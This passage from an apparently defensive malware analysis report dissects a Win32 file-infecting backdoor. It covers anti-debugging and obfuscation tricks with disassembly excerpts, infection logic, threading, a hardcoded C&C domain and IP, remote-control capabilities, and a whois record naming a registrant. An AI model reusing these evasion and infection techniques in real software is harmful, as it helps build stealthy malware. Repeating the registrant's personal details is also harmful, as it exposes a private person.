shellexecute ................................................................................................................... 27 7.1.5 notify_cnc ...................................................................................................................... 27 7.1.6 notify_cnc2 .................................................................................................................... 27 7.2 Multimedia Operations ......................................................................................................... 27 7.2.1 gdi_capture_window ..................................................................................................... 27 7.2.2 gdi_dca_screenshot ....................................................................................................... 27 7.2.3 send_multimedia ........................................................................................................... 28 7.3 File System Operations .......................................................................................................... 28 7.3.1 file_listing ...................................................................................................................... 28 7.3.2 directory_listing ............................................................................................................. 28 7.3.4 directory_listing2 ........................................................................................................... 28 7.3.5 create_directory ............................................................................................................ 28 7.3.6 copy_file ........................................................................................................................ 28 7.3.7 delete_file ...................................................................................................................... 28 7.3.8 rename_file ................................................................................................................... 28 7.3.9 write_to_file .................................................................................................................. 29 7.4 Other Operations ................................................................................................................... 29 7.4.1 get_volume_info ........................................................................................................... 29 7.4.2 get_window_text........................................................................................................... 29 7.4.3 check_for_fingerprint .................................................................................................... 29 7.4.4 smss_sysinu_tempfiles .................................................................................................. 29 7.4.5 dat_file_createwrite ...................................................................................................... 29 7.5 Desinfection Routine ............................................................................................................. 30 8. Conclusions .................................................................................................................................... 31 4 | P a g e Sources .................................................................................................................................................. 32 Attachments .......................................................................................................................................... 32 5 | P a g e 1. Overview 1.1 File Details File Type Portable Executable 32 / Microsoft Visual C++ 6.0 File Size 269.42 KB (275883 bytes) MD5 172AED81C4FDE1CF23F1615ACEDFAD65 SHA-1 C47FAF863FD93A310408848F829090F4E783E74C Detections Backdoor.Win32.Banito (Kaspersky) TrojanDownloader.Win32.Unruy (Microsoft) Trojan.Artilyb (Symantec) The analyzed sample is not packed or encrypted. It is highly obfuscated, all strings are built at runtime as well as most of the imports are resolved dynamically at runtime. Therefore, no informative strings can be extracted through initial, static analysis. The sample is written in C++ and is object oriented. This was found proofed by the use of virtual function tables and the extensive use of ecx for passing the this object pointer. Automated, dynamic analysis as provided by Anubis Sandbox fails due to anti-simulation and/or anti- debugging measures. Used tools for static and dynamic analysis are IDA Pro 6.1, CFF Explorer 1.0, Wireshark 1.4.1 and several applications from Sysinternals Toolsuite. The used analysis machine is a Windows XP SP3, running in VMware. 6 | P a g e 2. Anti-Analysis Measures 2.1 dwFlags in _STARTUPINFO Structure Shortly after startup of the executable and before entering the WinMain function the malware performs a first intent to crash a present debugger. By calling to GetStartupInfoA the current _STARTUPINFO structure is retrieved, which contains a value called dwFlags. This value is 1 in case of a started GUI application. Anyway, in case of a debugger environment it is not 1, which causes the test instruction at 4345C0 to set the zero flag and lead execution to execute the out instruction shown in code block two. .text:004345BA call ds:GetStartupInfoA .text:004345C0 test byte ptr [ebp-30h], 1 .text:004345C4 jz short loc_4345D7 .text:004345D7 loc_4345D7: .text:004345D7 out dx, al .text:004345D8 stosb The out-instruction is used for data transfer to I/O-ports, which are not directly accessible from user mode. An exception of type “Privileged Instruction” with the code c0000096 occurs, which is followed by the termination of the debugged process. The solution in this case is to patch the executable at runtime, to achieve execution. 2.2 SEH for Obfuscation of the Execution Path SEH is short for Structured Exception Handling and describes a structured way for Win32 applications to handle exceptions that occur at runtime. And, what is more, SEH is a way for the programmer to define custom handlers and link them into a chain of structured exception handlers, all of which are executed when the application encounters an exception. At registration, a new exception handler is linked on top of the handler chain, so it will be the first handler to be executed in case of an exception. Important to mention is, that the handler who accepts to handle an exception gets to decide where execution will resume after the handler was executed. It can point execution basically to any executable code in memory. A handler chain is always present per thread and an according pointer is to be found in the thread information block (TIB) at offset 0. As the FS register always points to the TIB, the handler chain can be accessed via FS:0. Information about the exception handler to execute is stored in a structure called __ehfuncinfo (compare source [2]), which in turn is provided as an argument for the SEH frame handler. This structure is also called exception record. Amongst other entries __ehfuncinfo contains a pointer named pTryBlockMap, which maps the try/catch blocks in an application. Also it leads to the array of handlers which are invoked, when the according exception handler is executed. 7 | P a g e So essentially, when an exception occurs the steps to take are: 1. Find the registration of the custom exception handler, if there is any. It can easily be identified, if modification of FS:0 can be spotted. Another way would be to check the SEH pointer in TIB or to spot the offset of the handler function on the stack. 2. Determine the offset of the frame handler in the code, which is pushed on the stack before the modification. 3. Find the offset of the __ehfuncinfo structure, which is an argument for the frame handler; in case of MS Visual Studio compiled executables as argument in eax register to __CxxFrameHandler. 4. Follow the pTryBlockMap pointer, which is the fourth entry (excluding the magic number) to find the TryBlockMapEntries, which contain a pointer to the handler array at the fifth position. 5. Following mentioned pointer, the offset of each handler function can be determined. 6. Determine the offset, where execution will continue after the handler callback. For more information on reversing of Win32 SEH see source [2]. Luckily, in the case of the given sample only two intentional exceptions were thrown and the structures of the exception records were considerably simple. 2.2.1 Exception in WinMain The first exception is invoked by accessing unreadable memory as documented in the following listing: .text:00401D98 mov ecx, 69805h .text:00401D9D call ecx The called address does not contain executable instructions, the call fails with an exception of type “Access Violation”. Considering the malicious nature of the analyzed sample it is at hand to search for the according exception handler registration at the beginning of the main function. .text:00401C85 push offset _WinMain@16_SEH .text:00401C8A mov eax, large fs:0 .text:00401C90 push eax .text:00401C91 mov large fs:0, esp The offset, which is pushed onto the stack before the registration process, is the last registered frame handler. It is actually the one to be invoked first, when the mentioned exception occurs. .text:00435080 _WinMain@16_SEH proc near .text:00435080 mov eax, offset stru_43AC90 .text:00435085 jmp __CxxFrameHandler .text:00435085 _WinMain@16_SEH endp The offset of the exception record will be passed to the frame handler via eax. So what is left to do is to follow the exception record offset and find the address of the handler function. This is achieved by walking down the structure as shown in the following listing: Trymap -> HandlerArray -> offset toHandlerFunction_1. .rdata:0043AC90 stru_43AC90 dd 19930520h ; Magic .rdata:0043AC90 dd 2 ; Count .rdata:0043AC90 dd offset stru_43AC90.Info ; unwindmap 8 | P a g e .rdata:0043AC90 dd 1 ; trycount .rdata:0043AC90 dd offset stru_43ACC0 ; Trymap .rdata:0043AC90 dd 3 dup(0) ; _unk .rdata:0043AC90 dd -1 ; Info.Id .rdata:0043AC90 dd 0 ; Info.Proc .rdata:0043AC90 dd -1 ; Info.Id .rdata:0043AC90 dd 0 ; Info.Proc .rdata:0043ACC0 stru_43ACC0 dd 0, 0, 1 ; _unk .rdata:0043ACC0 ; DATA XREF: .rdata:stru_43AC90 .rdata:0043ACC0 dd 1 ; Count .rdata:0043ACC0 dd offset stru_43ACD8 ; HandlerArray .rdata:0043ACD4 dd 0 .rdata:0043ACD8 stru_43ACD8 _msRttiDscr <0, 0, 0, offset toHandlerFunction_1> Actually, in this case the only operation the mentioned toHandlerFunction_1 performs is, to set the point of resumption after handling the exception. Execution is defined to continue at address 401DBD, which is a code stub that invokes a function which will be titled IMPLICIT_MAIN throughout the analysis, as it controls startup and eventually shutdown of the malware functionality. Illustration 1 – Exception Handler Function 2.2.2 Exception in IMPLICIT_MAIN The second intentional exception is invoked shortly after the beginning of the IMPLICIT_MAIN function, and actually resumes execution exactly after the instruction that caused the exception. The exception itself actually occurs, because a call is carried out on empty memory, which again causes an access violation. The exception record looks nearly as simple as with the first exception, the offset to the handler function can be found the same way as described above. The handler, identically to exception number one, only sets the offset to resume execution after the exception. And this offset, as mentioned before, points right to the instruction that follows the faulty one which caused the exception. 9 | P a g e Illustration 2 – Exception Handler Function 2 2.3 Simulation Check with GetHostByName At the beginning of IMPLICIT_MAIN the malware invokes a function which intends to resolve the hostname “…”. The function gethostbyname returns always null for this request, obviously the host … can’t be resolved to a valid address. Taking a closer look at what happens next it becomes clear that this call to gethostbyname, if successful, would lead execution directly to the end of IMPLICIT_MAIN function. This is equal to the end of execution, as after IMPLICIT_MAIN there is nothing more than program termination. The conclusion lies at hand, that this name resolution is a check for an automated simulation environment, which would eventually return a standard address to any name resolution. 2.4 Obfuscation and Confusion Tricks 2.4.1 Junk Code The analyzed sample contains a fair amount of junk code. The term junk code refers to executable instructions that either are executed but have no effect on the behavior of the application, or are never executed at all. In case of the analyzed sample most of the identified junk code is never executed. The following listing is meant to explain one case of obfuscation by use of junk code (some irrelevant instructions are omitted to shorten the listing). .text:0040F2E3 mov [esp+7Ch+var_78], ecx .text:0040F2ED lea eax, [esp+7Ch+var_78] .text:0040F2F1 lea ecx, [esp+7Ch+var_78] .text:0040F2F5 imul eax, ecx .text:0040F2F8 lea edx, [esp+7Ch+var_78] .text:0040F2FC lea ecx, [esp+7Ch+var_78] .text:0040F300 push ebx .text:0040F301 sub edx, ecx .text:0040F303 push ebp .text:0040F304 push esi 10 | P a g e .text:0040F305 cmp edx, eax .text:0040F307 push edi .text:0040F312 jnz short loc_40F35A The cmp instruction at 40f305 will never set the zero flag because the registers cannot contain the same value. The ecx register as the this pointer will most likely not be zero at the time Var_78 is initialized, hence multiplication and subtraction operation will produce different results. The jnz instruction (jump if not zero) will always be taken. This kind of obfuscation is used intensely, especially in the initialization phase of the malware. A lot of jump instructions, even if there is no useful branch to be taken, let the code appear non-linear and functions with few instructions look scarily huge. A graph mode as IDA Pro includes offers great help in understanding disassembly that’s bloated with junk code. The following screenshots show some of the functions that include code parts that are never being executed. The yellow areas mark executed code, the white areas are useless instructions. Illustration 3 – Junk Code in Simple Methods 2.4.2 String Construction at Runtime To additionally complicate static analysis the sample at hand does not include strings, which could be easily found with the most basic tools. Any string that is used at runtime is built character by character and written to memory for later or immediate use. 11 | P a g e The following screenshot shows how a part of the string CloseHandle is written to memory. For the resolution of API addresses all the names of the requested APIs are constructed similarly and written to the heap (see next section). Also names of events, temporary files, the domain of the command and control server or other keywords that are used at runtime are generated this way. This reveals two facts. First, no string is to be found via string scanning of the file; and second, all the strings are contained hardcoded in the executable, they just need proper extraction. Illustration 4 – String Construction 2.4.3 API Address Resolution at Runtime The sparse import table of the sample tells the analyst at first glance already that most likely more API functions will be resolved at run time. From kernel32.dll just 4 functions are imported, two of which are needed for dynamic loading of libraries and API offsets. Said two functions are LoadLibraryA and GetProcAddress. These are invoked in a loop by the executable, feeding them all the names of the APIs which are constructed before. This way the addresses of the desired functions are retrieved and later stored in a separate memory region which will be the reference table for every API call in the future. For invoking an API function the address of the API offset object is loaded into a register and the offset according to the desired function is added, like shown in the following example. 0040F502 mov edx, dword_43D190 0040F51D call dword ptr [edx+68h] ; createeventa in kernel32 7C83089D Dword_43D190 contains the pointer to the resolved API addresses throughout execution. The following graphic shows the memory region where the addresses are stored, marked 7C.. addresses belong to kernel32.dll on the used WinXP system. A table of resolved functions and their offsets can be found as attachment to this document (see attachment [1]). 12 | P a g e Illustration 5 – API Call Jumptable This addressing method prevents IDA Pro from automatically naming the function and from listing the expected arguments for each call. The arguments had to be looked up via MSDN library and corresponding comments had to be added by hand, if needed. 2.5 Indirect Function Calls Most core functionality of the malware is laid out in object oriented design with numerous virtual functions. Virtual functions are a concept of object oriented programming, to realize polymorphic design of classes and linking of virtual functions at runtime. The virtual functions of a class are listed in the virtual function table, short vftable. This table maps methods to according implementations of functions in memory. When deriving a class it derives the superclass’ virtual functions, which can be overloaded, if desired. As with polymorphic objects it is not always clear at compile time which offset is to be called when a virtual function is invoked. Therefore indirect addressing is used. When a virtual function is called at runtime, the vftable in the object is resolved to load the right offset. This is needed because in polymorphic programming an object is always of one or more types, as to say it is of its own class as well as its superclass, if there is any, and eventually other superclasses as well. The following code snippet shows an example, picked out of the analyzed sample. The call in line 6 invokes a virtual function, of an object initially pointed to by esi. The references in the vftables are resolved, until the right offset is found. It is very hard to determine the offset to be called through static analysis, as the memory layout with all vftables of all classes derived from the same superclass to be considered. .text:0042238A mov eax, esi .text:0042238C mov esi, [esi] .text:0042238E mov edi, [eax+8] .text:00422391 mov ecx, edi .text:00422393 mov eax, [edi] .text:00422395 call dword ptr [eax+8] 13 | P a g e As this is a design attribute of object oriented programming it is not considered an obfuscation method. But certainly, virtual function calls complicate analysis of malicious code significantly. 2.6 Timing Attacks using GetTickCount In the executable there exist 7 calls to the GetTickCount function, which retrieves the number of milliseconds that have elapsed since system startup. It is a commonly known trick of malware, to detect the presence of debuggers by regularly checking the tick count, as to say by calculating the ticks that are passing in between the calls. If the number is too high, there is presumably a debugger halting the process in between two calls to GetTickCount. The malware at hand would run perfectly fine inside the debugger, after the initial anti-debugging trick of checking dwFlags. Just when single stepping inside one of the multiple threads it would not resume without catching an exception sooner or later, from which it could not recover. The calls to GetTickCount happen in different pieces of the code, the value checks are supposedly done somewhere later in the code. Anyway, it is not quite necessary to find and patch them all, as most debuggers are prepared for this trick. For IDA Pro there is a plugin called IDA Stealth, an equivalent for OllyDebug is PantOm Plugin. These plugins incorporate several stealth mechanisms, which aim to hide the debugger from the debuggee. Also they can fake return values for GetTickCount. For the analyzed sample a random delta of 30.000 was found sufficient. The sample also uses WinMM library to create time callback events. This way the malware could also check for the right timing, but it is assumed that this is not the case as no behavior was noticed that would support this theory. 14 | P a g e 3. Malware Startup The analyzed sample is a non-polymorphic file infector that compromises executable files on the system. It replaces the original executable with its own image, barely altered, steals the icon to look genuine and stores the original file, hidden and without extension, in the same folder. When invoked, the malware checks if there is an original counterpart to its own filename, without extension. If so, this executable has to be started too. 3.1 Synchronization Methods for Multiple Instances Also, the sample checks if the system has been compromised before by the same malware. This is indicated by the presence of two Windows system events, shortly named event2 and event3 (the hardcoded names of extracted events are listed in attachment [2]). These two events are used for synchronization of running instances of the malware, as can be seen at a call to WaitForMultipleObjects in START_MW function, followed by a switch statement (see illustration 6). A second check verifies if there is a fingerprint file present in the systems %TEMP% directory (extracted filenames are also hardcoded and listed in attachment [2]). The content of this file is checked against a value, generated by a hardcoded algorithm, without system specific values. Presumably all variants of the same version of the analyzed sample produce the same fingerprint file. This could change with later updates. The generation of said file happens after successful malware startup in the function START_MW. Also, creation of event2 and event3 happen at this time. The following graphic simplifies the malware initialization phase in IMPLICIT_MAIN function. When executing, the sample will either terminate or startup the malware functionality and run as multi- threaded process in background. The different checks before startup are marked in yellow. 15 | P a g e Illustration 6 – Malware Startup Flowchart 1. Initialization – The API object is created, the gethostbyname call is done to check for simulation and a named event is created, shortly termed event 1. If createevent fails, because event1 exists already, this information is saved for performing checks later but does not influence execution immediately. 2. If an original counterpart can be found it is executed, if additionally a handle to event2 can be retrieved the sample performs some cleanup code and then terminates execution. 3. If an original is found and executed, but the openevent call on event2 fails the sample initiates a normal startup procedure similar to point 6, which would be the initial infection routine on a clean system. 4. If no original counterpart is found and a handle for event2 can be retrieved the malware enters one single function for checking if a handle for event3 can be retrieved. If so, the event is set to signaled state, the fingerprint file, if existent, is read, deleted, and the content is compared to the self-generated fingerprint value. So if event3 exists, the fingerprint file exists and the two fingerprints are not equal the malware takes course number 4: event2 is set to signaled state and usual startup procedure is initiated. Signaling of event2 presumably causes the former, running instance of the malware to terminate. 5. If event3 does not exist, the fingerprint file cannot be found or the fingerprint values are equal the malware terminates execution. 16 | P a g e 6. In case no original executable can be found and event2 is not present the system is supposedly clean and initial infection routine is started. This includes creating a copy of the image of the own executable in memory and creation of the first thread, that will be the file infection routine. Having this flow in mind some conclusions can be drawn. The mentioned events are used to coordinate the malware, when multiple infected executables are started at the same time. The fingerprint file could be some sort of version management. When a malware instance is running, and a new infector starts up, which calculates a different fingerprint, the former instance is stopped and the new infector is started. As mentioned before, signaling event2 causes an instance which has reached the WaitForMultipleObjects statement in START_MW function to terminate gracefully. The same wait statement is waiting for signaling of event3. When this happens, the fingerprint file is generated anew. The following screenshot shows mentioned switch statement, case 0 or 3 belong to signaling of event2 (termination), case 1 belongs to signaling of event3. Illustration 7 – thread0 WaitForMultipleObject As the fingerprint checking is only done when no original counterpart can be found, it is believed that the possible update mechanism is just to be executed by the initial infector, not by its infected copies. It is important to mention that the malware incorporates a disinfection routine, that’s called only in case 3 of shown switch statement. Apparently one event causes the malware to clean the system and terminate afterwards. The disinfection routine is described in more detail in section 7.5. 17 | P a g e 4. Multi-Threading Model In a multi-threaded application different tasks are delegated to different threads, which can be virtually or physically parallelized, depending on the processor architecture. For management of the threads and interaction between the threads exist various ways of inter-thread communication. The malicious sample at hand starts, apart from thread 0, 8 more threads during startup, naturally with various purposes. There is one thread with the sole purpose of infecting files, which is coded pretty much straight forward. Other threads implement functionality for sending data to the command and control server (short C&C), receiving data from the C&C and dispatching of commands from the C&C. The multi-threading model and inter-thread communication was not reconstructed in full detail but just as far as needed for understanding the role of its components. 4.1Inter-Thread Communication Inter-thread communication and coordination is accomplished with various mechanisms. Four methods could be identified:  Event-driven thread/process-synchronization  Message-driven thread communication  I/O completion port for dispatching of TCP/UDP messages  Critical sections for management of concurrency Events in Windows are a synchronization mechanism that works on both levels, process- and thread- level. They can take two states, signaled and non-signaled. When an event is set its state is raised into signaled state. A process or thread that is waiting for this exact object will recognize and start execution. The event will then be reset, automatically or manually. Windows events, as mentioned in the last chapter, are mainly used for control of the application as a whole. Besides, thread 1, later called fileinfector, is also triggered by an event. Windows Messages are usually the standard mechanism for controlling Windows desktop applications and windows. Communication is handled in message queues, one thread posts a message to another ones message queue, the other thread fetches the message from its queue and starts execution. The analyzed sample uses Windows messages for communication of its working threads, which handle the communication with the C&C. I/O Completion Port (IOCP) is an API for handling multiple asynchronous input/output operations. This is necessary when multiple threads handle the input or output of one object, like in this case a socket. In fact, the analyzed bot seems to handle the incoming messages from the C&C server using I/O completion port. The intention behind this is perhaps to handle more than one server command at a time. With IOCP the operations of receiving commands and execution of according actions can be separated. It would even possible for the malware to operate multiple sockets and process input of various control servers. 18 | P a g e For protection of memory that is eventually accessed by more than one thread the mechanism of critical sections is implemented. This is the most important mechanism for interchanging data between the malware’s threads, as possibilities to pass data by Windows messages is limited. Critical sections are initialized to protect access around I/O completion data structures, time event data structures and the C&C domain character string. 4.2 Details about Started Threads When the malware startup was successful it runs on 9 threads in total, of which one is thread0, one the file infecting thread, two seem to control reception of data from the C&C using I/O completion port mechanism and the remaining four implement functionality for windows message passing. Thereof three are created with an attached time callback thread each. The fourth is actually one of the time callback functions, which runs in its own thread. The applications threads, in order of their startup (not creation), naming intends to sum up the main purpose of the thread: 0. thread0 initial application code 1. timecallback_ptmessage offset 422426 2. fileinfector offset 411AA0 3. get_queued_compstatus offset 42B43A 4. getmessage_loop offset 42248B 5. getmessage_loop offset 42248B 6. recv_post_queued_compstatus offset 42B0C5 7. cnc_cmd_switching offset 4211E7 8. getmessage_loop offset 42248B Furthermore, the malware is capable of starting several more threads, which are able to receive either TCP or UDP data or handle GDI functionality (MS Graphics Device Interface). 0 – thread0 The initial thread hangs mostly at a WaitFormultipleObjects instruction, waiting for one of four events to be set. These are two named events, event2 and event3 as mentioned before, and two nameless events. Setting of event2 or one of the unnamed events will cause the application to terminate. Setting of event3 tells the application to recreate its fingerprint file, and when setting the second unnamed event an unspecified event will be reset and thread0 continues to wait. Thread0 is in charge of controlling the entire process, and terminating it if told so. 1 – timecallback_ptmessage Timed callbacks are implemented using the WinMM library (Windows Multimedia Library) for creating timers, which call a specified callback function. The timing event is configured with either 10, 1000 or 5000 milliseconds. In the analyzed code time callbacks are always generated along with an associated thread for getmessage_loop. 19 | P a g e The malware uses for every time callback the same function. This function implements a loop for posting messages to thread message queues, actually with message identifier 401. 401 is an ID for user defined messages. It is assumed that the purpose of this constellation is to post timed notifications to a queue, which are dispatched by an associated instance of getmessage_loop. 2 – fileinfector The fileinfector thread is the one which is granted most CPU time, when the other threads are sleeping. It is driven by a Windows event and its purpose is to replace the images of executables on disk with its own malicious code. Details about this thread are to be found in section 5. 3 – get_queued_compstatus This thread waits for a queued completion status message to be posted to the I/O completion ports queue. At thread creation the thread is passed the only I/O completion object created by the application. It is the same object thread 6, recv_post_queued_compstatus is feeding. The received data is processed, maybe even deobfuscated/decrypted and stored in an object that is protected via a critical section. Eventually some networking routines are called that send a message back to the C&C. 4, 5 & 8 – getmessage_loop The malware starts three threads with the same entry point to getmessage_loop function. These are always created and associated with a timing event callback, which posts thread messages. The getmessage_loop function just executes its body when the received message is 401, just as the time callback function would send it. The functions body is basically a call to a single, virtual function. This virtual function is a perfect example for difficulties of reversing polymorphic functions. The same function call can invoke two different functions, because of being referenced indirectly via vftable of an object. The first virtual function to be called is a routine to resolve the hardcoded domain ns.dns3-domain.com to a valid network address via DNS and to send an initial message to the C&C. This message contains a GUID for identification purposes, requested from the system. The second function can either also send a message over the network, or post another thread message. Recipient is thread 7, named cnc_cmd_switching, as this is the only other thread waiting for thread messages, besides the getmessage_loop threads. At the time this report was written it is not perfectly clear what the purpose of multiple getmessage_loop threads is. Possibilities are either load balancing or confusion of the analyst. Starting multiple threads with the same functionality would only make sense, if one single thread would be overburdened with the work to process. It is assumed that the multi-threaded design is laid out for load balanced processing of C&C instructions, so multiple threads with the same purpose could make sense. 20 | P a g e 6 - recv_post_queued_compstatus This thread is settled on the input side of the I/O completion port, defined before along with the get_queued_compstatus thread. The threads function itself is a loop for receiving incoming UDP datagrams and passing them via PostQueuedCompletionStatus to the I/O completion object. From there they will be fetched by the get_queued_compstatus thread. 7 – cnc_cmd_switching The command getmessage() is only called twice in all the code, the getmessage_loop routine and in the cnc_cmd_switching routine. It will also just process a received message if it is of type 401. Main purpose of this thread is to instantiate an object for C&C command processing and to call the according method. The C&C command is presumably passed via a critical section data structure, and not via thread messages. 4.3 Thread Workflow Diagram The following diagram is just a simplified sketch on how the workflow in between the multiple threads is most likely designed; it does not lay claim to be complete. There definitely exist more threads the malware can possibly start, like two threads for recv/recvfrom functionality, but these are not counted in to the core model. Illustration 8 – Thread Workflow Diagram 21 | P a g e 5. File Infection The first thread the malware creates is the file infection routine. Basic functionality of this routine is to enumerate running processes and entries in SOFTWARE\Microsoft\Windows\CurrentVersion\Run to select a set of executables and replace their image on disk with the malware itself. It does this by setting the hidden attribute on the original file and removing the extension, while creating a copy of itself with minor modifications and writing it under the filename of the “infected” file back to disk. It also steals the icon of the former original to look non-suspicious. As mentioned before when describing the malware startup, if the copied malware ever gets loaded, it first starts the original executable before it eventually reaches the START_MW function. The IDA Pro Graph can actually be used for explaining the different steps of the file infection procedure. The three marking colors indicate what regions are considered to be initial setup (yellow), infection routine (blue) and re-infection loop (green). 5.1 Initial Infection 5.1.1 Check for Chinese AV-Products When entering the main function of the file infection routine a method is called to check if one or both of two processes is found within a snapshot of all running processes: ZhuDongFangYu.exe from Qihoo360 and RavMond.exe from Rising Antivirus, which are both processes of Chinese anti-malware products. If detected, the whole thread terminates immediately. As mentioned in the next section these are probably applications that the malware developer ran on his own system and therefore does not want to infect files on systems running Qihoo360 or Rising. 5.1.2 Module Name Filtering As a setup for file infection the malware first has to select suitable executables. To achieve this it creates a list of two sorts; first all executables that have an entry in SOFTWARE\Microsoft\Windows\CurrentVersion\Run, second all executables which are present in a snapshot of currently running processes. The applications from the startup registry key are only added if they have the “.exe”-ending. The modules listed in the process snapshot are filtered by a list of application and folder names, which are apparently excluded from infection. For filtering a number of strings is generated at 22 | P a g e runtime and matched against either the folder name or are searched for in the whole path. Some of the filter strings are quite interesting as they seem to give some insight on what applications the malware author is using on this own system. Most likely these applications are filtered to avoid infection on his own system. The most interesting ones are listed below:  Directory should not be desktop or temp  Pathname should not contain either of the following strings  :\windows  netthief  exebinder  \qq  visual studio  microsoft office\  \thunder\  \360  \aliwangwang\  \win zip\  \winrar\  \globallink\game\  \qqdoctor\  \rising\  \aliim.exe  \avira\  \world of warcraft\ Actually the term netthief can be connected to another piece of malware, written by a Chinese author. It is called Netthief RAT (Remote Access Trojan) Some research also revealed that the domain used by the analyzed sample is connected to Netthief. Further reasons for exclusion of a process from the final list are:  The filename (without the path) of the running process is equal to the malwares filename  The paths second and third letter are not equal to “:\”, as it is for example with the paths of Windows system services like smss.exe or csrss.exe, starting with \systemroot- or ??\-prefix  The last four characters of the image name do not equal “.exe”  The running executable in question is smaller than 10KB If the module name passes all filtering measures it is added to a list of executables that will be infected by the malware. 5.1.3 The Infection Routine For actual infection of an executable a copy of the image saved at initialization phase is prepared and modified. 23 | P a g e 1. Some modifications are made to the image at offset 117A, which are unique to every copy of the malware. Likely, to give the copy a unique identifier or some seed values for obfuscation algorithms embedded in the malicious code. 2. The executable to infect is searched for a resource section, based on the string “.rsrc”. If .rsrc is found it is searched for an icon in the right size and shape, which can be copied to the malware image. By copying the icon of the file to the malicious image in memory will make the malware copy look like the genuine file. The changed file size and creation time stamp though could tell there is something wrong with that file. 3. Only if copying the icon was successful and the original executable has not yet been replaced by a malware copy, the actual replacement routine is initiated. Therefore the original is renamed to remove the .exe-extension and its file attributes are altered to set the hidden flag. Then, finally, a file is created with path and filename of the file to infect and the customized malware copy is written to this file handle. 5.2 The Re-Infection Loop After initial infection the thread enters its final loop, where it periodically checks if the list of infected images has grown, specifically if new processes have started which follow the described preconditions. The routine maintains a list of infected modules. When a new process appears that’s not yet on the list it is added and execution switches to a loop, identical to the initial infection loop. There, if not already infected, the image of the started process, respectively images if there was more than one candidate started, is eventually replaced with a malware copy. After calling the infect method on every recently listed module the routine switches back into looping process snapshot after snapshot, until another candidate appears. 24 | P a g e 6. Network Communication The analyzed sample is categorized by anti-virus industry as backdoor, spy or bot; so it should come with extended network functionality. Not much of the communication capabilities can be analyzed dynamically though, the sample only tries to communicate to one single, hardcoded domain. The sample tries to connect to ns.dns3-domain.com, but no answer was ever received from the server. The according network address 125.34.39.47 does not answer, neither ping requests nor requests of the bot. The domain actually still exists and is registered until July 2013. Whois v1.01 - Domain information lookup utility Sysinternals - www.sysinternals.com Copyright (C) 2005 Mark Russinovich Connecting to COM.whois-servers.net... Connecting to grs-whois.hichina.com... Domain Name ..................... DNS3-DOMAIN.COM Name Server ..................... dns21.hichina.com dns22.hichina.com Registrant ID ................... hc564383063-cn Registrant Name ................. sun rui Registrant Organization ......... sun rui Registrant Address .............. tian jin shi he xi qu mei jiang dao 18 hao Registrant City ................. tian jin shi Registrant Province/State ....... tian jin Registrant Postal Code .......... 300221 Registrant Country Code ......... CN Registrant Email ................ niceday122@126.com … Output omitted … Expiration Date ................. 2013-07-11 03:04:33 6.1 Sending Messages to the C&C The analyzed sample implements functionality for use of send and sendto, as well as recv and recvfrom. System calls send/recv are used to operate TCP stream sockets while sendto/recvfrom operate UDP datagram sockets. This means that the analyzed sample has capability to use both, TCP and UDP connections. Most data sending routines in the malware code call to the UDP variant. Actually, message exchange with the C&C server is operated via UDP connections. The code for sending of UDP datagrams, which is used for most messages to the C&C, is implemented in around 35 methods of which all finally call into one single function that invokes the sendto system call. The numerous preceding methods are presumably obfuscation, checking of parameters or altering the data to be sent. The network message protocol with the C&C was not analyzed further. The preceding methods to sendto use critical sections quite frequently. This part of the code is believed to be implemented in a thread-safe manner, so that the threads can call into sendto concurrently. 25 | P a g e Following the function calls towards the sendto method four main operators could be identified that would eventually use the sendto system call: 1. getmessage_loop – the main method for thread4 when resolving the C&C domain and sending the “HELLO”-message to the server 2. get_queued_compstatus – the main method for thread3 in case of non-failure 3. cnc_cmd_switching – in case of failure of some sort the main function of thread7 sends notifications to the server 4. message_to_cnc – this function was identified as being used predominantly to send messages and data to the C&C server Point 1-3 depend on a specific thread, point 4 mentions a single method that is used throughout the code. Mostly it is called from thread7, where the processing of C&C commands happens and messages as well as data flow back to the C&C after operation. 6.1.1 Initial “HELLO”-Messages The getmessage_loop resolves the remote server’s domain and sends “HELLO”-packages for means of registration. Two possible destination ports were identified for these messages, which are 53 (Domain Name Service) and 8000 (Intel Remote Desktop Managemet Interface). The messages each contain a preceding GUID (Globally Unique Identifier), which is probably used for separation of infected machines on the server side. All together the messages are 25 bytes long, 16 bytes GUID plus 9 bytes custom information. 26 | P a g e 7. C&C-Command Processing The method, identified as central node for processing of C&C commands, is shown for illustration purposes in an IDA Pro screenshot. Illustration 9 – C&C Command Processing Method The C&C instructions are numerical values, which are broken down in the method (called cnc_cmd_switching) to execute the according action. What the numerous branch instructions do is basically to allocate memory (yellow), create an object derived from a C&C command superclass (green) and finally execute the first virtual method (blue). 22 operations were identified, that the execution call (blue) could eventually perform. In succession they are simply listed in their right to left order. 7.1 Control Operations 7.1.1 terminate The sample can terminate its own process by invoking the following pseudo code: TerminateProcess(OpenProcess(GetCurrentProcessId(), 0, PROCESS_TERMINATE),0). 7.1.2 system_shutdown The malware grants itself the SeShutdownPriviledge and invokes ExitWindowsEx with the parameter 0Ch. 0CH means that the flags EWX_POWEROFF and EWX_FORCE are set, which will force a system shutdown. 27 | P a g e 7.1.3 spawn_console_process This method implements code for spawning a console process with redirected standard handles. This means that the malware can start a child process, but redirect its standard handles to control input and output to and from this process. More information and example code can be found in MS Knowledgebase Article 190351 (see source [4]). The code for the console process‘ thread is of course located in a separate method. This method consists of a loop, where a file is read and it’s content is compared to a given buffer. At the time of writing this report it was not perfectly clear what the purpose of this action is, but it is believed that the function, when it has found specific attributes, will copy the file content to memory and post a thread message with ID 402. 7.1.4 shellexecute This method uses the ShellExecute API call to launch an application. If the received parameter is does not point to an executable file then ShellExecute opens the associated application. This is followed by a notification to the C&C server. 7.1.5 notify_cnc An unidentified message is sent to the C&C server. 7.1.6 notify_cnc2 An unidentified message is sent to the C&C server. 7.2 Multimedia Operations 7.2.1 gdi_capture_window This method takes a capture of the actual desktop window and saves it to a .tmp-file in %TEMP% directory (file3). The capture is taken by an instance of CreateCaptureWindowA, which implies starting a thread and creating a nameless event. The thread then switches into waiting state until the method is called a second time. Then the same method will set the nameless event and the capture will terminate. The GDI jpeg encoder is used for creation of file3. Afterwards a message to the C&C server is sent. 7.2.2 gdi_dca_screenshot This method creates a device context for the display device and produces a graphical snapshot of the actual screen display. Using the GDI jpeg encoder this image is saved in a .tmp-file in %TEMP% (file4). Afterwards a message to the C&C server is sent. 28 | P a g e 7.2.3 send_multimedia This method is designed for compressing and sending of file3 or file4, if they were created before by gdi_dca_screenshot or gdi_capture_window. In case of success the compressed data is sent to the remote server, otherwise a notification message is sent. 7.3 File System Operations 7.3.1 file_listing This method accepts a file- or directory name. It walks recursively down the directory tree and saves certain names to a list, which is then packed and sent to the C&C. The sample incorporates code from the zlib compression library, 